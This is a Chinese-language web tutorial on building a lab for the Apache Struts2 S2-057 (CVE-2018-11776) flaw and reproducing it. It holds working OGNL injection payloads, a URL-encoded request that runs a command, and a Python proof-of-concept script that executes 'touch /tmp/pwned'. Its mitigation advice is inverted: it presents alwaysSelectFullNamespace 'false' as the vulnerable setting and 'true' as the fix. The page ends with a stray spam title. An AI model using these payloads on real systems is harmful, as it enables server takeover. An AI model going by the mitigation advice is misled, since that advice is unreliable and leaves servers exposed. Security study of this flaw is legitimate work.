溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Struts2 S2-057漏洞環境搭建及漏洞分析

發布時間:2021-12-10 19:09:58 來源:億速云 閱讀:366 作者:柒染 欄目:網絡管理
# 如何進行Struts2 S2-057漏洞環境搭建及漏洞分析

## 目錄
1. [漏洞背景與概述](#漏洞背景與概述)
2. [環境搭建準備](#環境搭建準備)
3. [漏洞環境搭建步驟](#漏洞環境搭建步驟)
4. [漏洞原理分析](#漏洞原理分析)
5. [漏洞復現與驗證](#漏洞復現與驗證)
6. [修復建議](#修復建議)
7. [總結](#總結)

---

## 漏洞背景與概述
**S2-057(CVE-2018-11776)**是Apache Struts2框架于2018年披露的一個高危遠程代碼執行漏洞。該漏洞在特定配置下,攻擊者可通過構造惡意請求實現服務器端代碼執行,影響Struts2核心機制中的命名空間處理模塊。

### 影響版本
- Struts 2.3 - 2.3.34
- Struts 2.5 - 2.5.16

### 漏洞條件
需同時滿足:
1. 未正確配置`alwaysSelectFullNamespace`參數
2. 使用了`action`標簽的`value`或`action`屬性未設置命名空間

---

## 環境搭建準備
### 所需工具清單
| 工具/組件       | 版本/下載鏈接                     |
|----------------|----------------------------------|
| JDK            | 1.8+                            |
| Tomcat         | 8.5.x                           |
| Struts2        | 受漏洞影響的版本(如2.5.16)       |
| IDE            | IntelliJ IDEA/Eclipse           |
| 調試工具        | Burp Suite、Postman             |

### 實驗環境拓撲
```plaintext
[攻擊機] ---HTTP請求---> [靶機: Tomcat + Struts2漏洞應用]

漏洞環境搭建步驟

1. 基礎環境配置

# 安裝JDK并配置環境變量
sudo apt install openjdk-8-jdk
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64

# 下載Tomcat 8.5.x
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.xx/bin/apache-tomcat-8.5.xx.tar.gz
tar -xzvf apache-tomcat-8.5.xx.tar.gz

2. 創建漏洞演示項目

  1. Maven項目初始化

    <!-- pom.xml 關鍵依賴 -->
    <dependency>
       <groupId>org.apache.struts</groupId>
       <artifactId>struts2-core</artifactId>
       <version>2.5.16</version>
    </dependency>
    
  2. 配置web.xml

    <filter>
       <filter-name>struts2</filter-name>
       <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    
  3. struts.xml漏洞配置

    <struts>
       <constant name="struts.mapper.alwaysSelectFullNamespace" value="false"/>
       <package name="vuln-demo" extends="struts-default">
           <action name="login" class="com.example.LoginAction">
               <result>/welcome.jsp</result>
           </action>
       </package>
    </struts>
    

3. 部署到Tomcat

mvn clean package
cp target/vuln-app.war ${TOMCAT_HOME}/webapps/

漏洞原理分析

關鍵問題定位

漏洞源于DefaultActionMapper類對URL解析時的邏輯缺陷:

// 漏洞代碼片段(簡化)
public ActionMapping getMapping(HttpServletRequest request) {
    String uri = RequestUtils.getUri(request);
    // 錯誤處理:未正確驗證命名空間拼接
    String namespace = parseNamespace(uri); 
    String name = parseActionName(uri);
    // 導致OGNL表達式注入點
}

攻擊向量構造

攻擊者可通過以下方式觸發漏洞:

http://target/${(1337+1)}/actionName.action
  • ${}中的OGNL表達式將被執行
  • 利用ognl.OgnlContext實現RCE

漏洞復現與驗證

手工復現步驟

  1. 發送惡意請求:

    GET /struts2-showcase/$%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D@java.lang.Runtime@getRuntime().exec('calc').waitFor()%7D/actionChain1.action HTTP/1.1
    
  2. 觀察結果:

    • Windows靶機彈出計算器(證明RCE成功)
    • 響應中包含OGNL執行結果

自動化驗證工具

使用Python PoC腳本:

import requests

target = "http://localhost:8080/vuln-app"
payload = "${(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('touch /tmp/pwned'))}"

response = requests.get(f"{target}/{payload}/login.action")
print(response.status_code)

修復建議

官方解決方案

  1. 升級到安全版本:

    • Struts 2.3.35+
    • Struts 2.5.17+
  2. 臨時緩解措施:

    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
    

安全配置建議

  • 禁用動態方法調用(DMI):
    
    <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
    
  • 使用安全攔截器棧

總結

通過對S2-057漏洞的深入分析,我們可以得出以下結論: 1. 該漏洞利用鏈清晰,但需要特定配置條件 2. OGNL表達式注入仍是Struts2的主要威脅方向 3. 及時更新框架版本是最有效的防護手段

防御思考:在DevOps流程中應加入SCA(軟件成分分析)工具,及時檢測依賴庫中的已知漏洞。


附錄:參考資源
- Apache Struts2 官方公告
- CVE-2018-11776 漏洞詳情
- OGNL 注入技術白皮書 “`

注:實際執行漏洞測試時,請確保在授權環境下進行。本文檔僅供安全研究學習使用。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女